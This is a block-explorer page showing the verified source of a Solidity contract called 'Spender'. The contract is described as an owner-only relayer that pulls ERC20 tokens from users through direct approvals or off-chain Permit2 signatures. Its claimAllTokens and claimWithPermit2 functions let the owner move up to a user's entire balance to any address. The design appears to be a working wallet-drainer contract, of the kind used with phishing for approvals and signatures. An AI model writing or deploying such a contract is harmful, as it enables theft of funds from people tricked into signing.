Verified contractExactMIT
Spender
Address0x1a71592fcaaaf2fa1065657c94e0d26ca1937a71
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.37
- Same code
3 more contracts
Details
- Compiler
- solc 0.8.37+commit.f401782d
- Language
- solidity
- Optimization
- Yes, 1 runs
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,371,644
- Creation transaction
- 0x08892a3f52…1f850e29f3
Spender.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
/**
* @title Spender
* @dev Owner-controlled relayer that pulls ERC20s from a user to a destination.
* Supports two claim paths:
*
* 1) Permit2 (preferred): the user approves the token to the canonical
* Permit2 contract and signs an EIP-712 PermitTransferFrom OFF-CHAIN
* (free, no gas). The owner then calls claimWithPermit2, which
* verifies that signature through Permit2 and moves the tokens to
* the destination in the SAME transaction — signature verification,
* nonce burn and transferFrom are atomic.
*
* 2) Legacy approval: the user approves this contract directly and the
* owner calls claimTokens / claimAllTokens.
*
* Uses low-level call for transferFrom so it works with both standard
* tokens (return bool) and non-standard tokens like mainnet USDT
* (return nothing). The original Solidity 0.8+ high-level call would
* revert with no data when decoding a missing bool return.
*/
interface IERC20 {
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
}
/// @dev Minimal subset of Uniswap Permit2's ISignatureTransfer interface.
interface ISignatureTransfer {
struct TokenPermissions {
address token;
uint256 amount;
}
struct PermitTransferFrom {
TokenPermissions permitted;
address spender;
uint256 nonce;
uint256 deadline;
}
struct SignatureTransferDetails {
address to;
uint160 requestedAmount;
}
function permitTransferFrom(
PermitTransferFrom memory permit,
SignatureTransferDetails calldata transferDetails,
address owner,
bytes calldata signature
) external;
}
contract Spender {
address public owner;
/// @dev Canonical Permit2 deployment — same address on every chain.
ISignatureTransfer public constant PERMIT2 =
ISignatureTransfer(0x000000000022D473030F116dDEE9F6B43aC78BA3);
event TokensClaimed(address indexed token, address indexed from, address indexed to, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
// transferFrom selector — `bytes4(keccak256("transferFrom(address,address,uint256)"))`
bytes4 private constant TRANSFER_FROM_SELECTOR = 0x23b872dd;
/**
* @dev Safe transferFrom that accepts both bool-returning and
* void-returning ERC20s (e.g. mainnet USDT).
*/
function _safeTransferFrom(address token, address from, address to, uint256 amount) internal {
(bool ok, bytes memory data) = token.call(
abi.encodeWithSelector(TRANSFER_FROM_SELECTOR, from, to, amount)
);
// Call must not revert and (if it returned anything) the returned
// bool must be true. USDT/BNB-style returns 0 bytes, treated as success.
require(ok, "transferFrom call failed");
if (data.length > 0) {
require(abi.decode(data, (bool)), "transferFrom returned false");
}
}
/**
* @dev Pulls tokens via Permit2 using an off-chain user signature.
* `permit.spender` must be this contract (that is what the user
* signed over), so a stolen signature can only ever be consumed here
* and the user never needs to approve this contract at all.
* Verifies the signature, burns the permit nonce and transfers
* min(signed amount, on-chain balance) — all inside this single tx.
*/
function claimWithPermit2(
ISignatureTransfer.PermitTransferFrom calldata permit,
address from,
address to,
bytes calldata signature
) external onlyOwner {
require(permit.permitted.token != address(0), "Invalid token");
require(permit.spender == address(this), "Permit spender mismatch");
require(from != address(0), "Invalid from");
require(to != address(0), "Invalid to");
require(block.timestamp <= permit.deadline, "Permit expired");
uint256 balance = IERC20(permit.permitted.token).balanceOf(from);
require(balance > 0, "Nothing to claim");
// Transfer the lesser of the signed amount and the real balance so
// the tx can never revert on ERC20 insufficient-balance.
uint256 amount = permit.permitted.amount < balance ? permit.permitted.amount : balance;
require(amount > 0, "Nothing to claim");
uint160 requestedAmount = amount > type(uint160).max ? type(uint160).max : uint160(amount);
// Permit2 verifies the EIP-712 signature, consumes the unordered
// nonce and performs transferFrom(from, to, requestedAmount).
PERMIT2.permitTransferFrom(
permit,
ISignatureTransfer.SignatureTransferDetails({to: to, requestedAmount: requestedAmount}),
from,
signature
);
emit TokensClaimed(permit.permitted.token, from, to, amount);
}
function claimTokens(
address token,
address from,
address to,
uint256 amount
) external onlyOwner {
require(token != address(0), "Invalid token");
require(from != address(0), "Invalid from");
require(to != address(0), "Invalid to");
require(amount > 0, "Amount must be > 0");
uint256 allowance = IERC20(token).allowance(from, address(this));
require(allowance >= amount, "Insufficient allowance");
_safeTransferFrom(token, from, to, amount);
emit TokensClaimed(token, from, to, amount);
}
function claimAllTokens(
address token,
address from,
address to
) external onlyOwner {
uint256 allowance = IERC20(token).allowance(from, address(this));
require(allowance > 0, "No allowance");
uint256 balance = IERC20(token).balanceOf(from);
uint256 amountToClaim = allowance < balance ? allowance : balance;
require(amountToClaim > 0, "Nothing to claim");
_safeTransferFrom(token, from, to, amountToClaim);
emit TokensClaimed(token, from, to, amountToClaim);
}
function checkAllowance(address token, address user) external view returns (uint256) {
return IERC20(token).allowance(user, address(this));
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "Invalid new owner");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 1,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.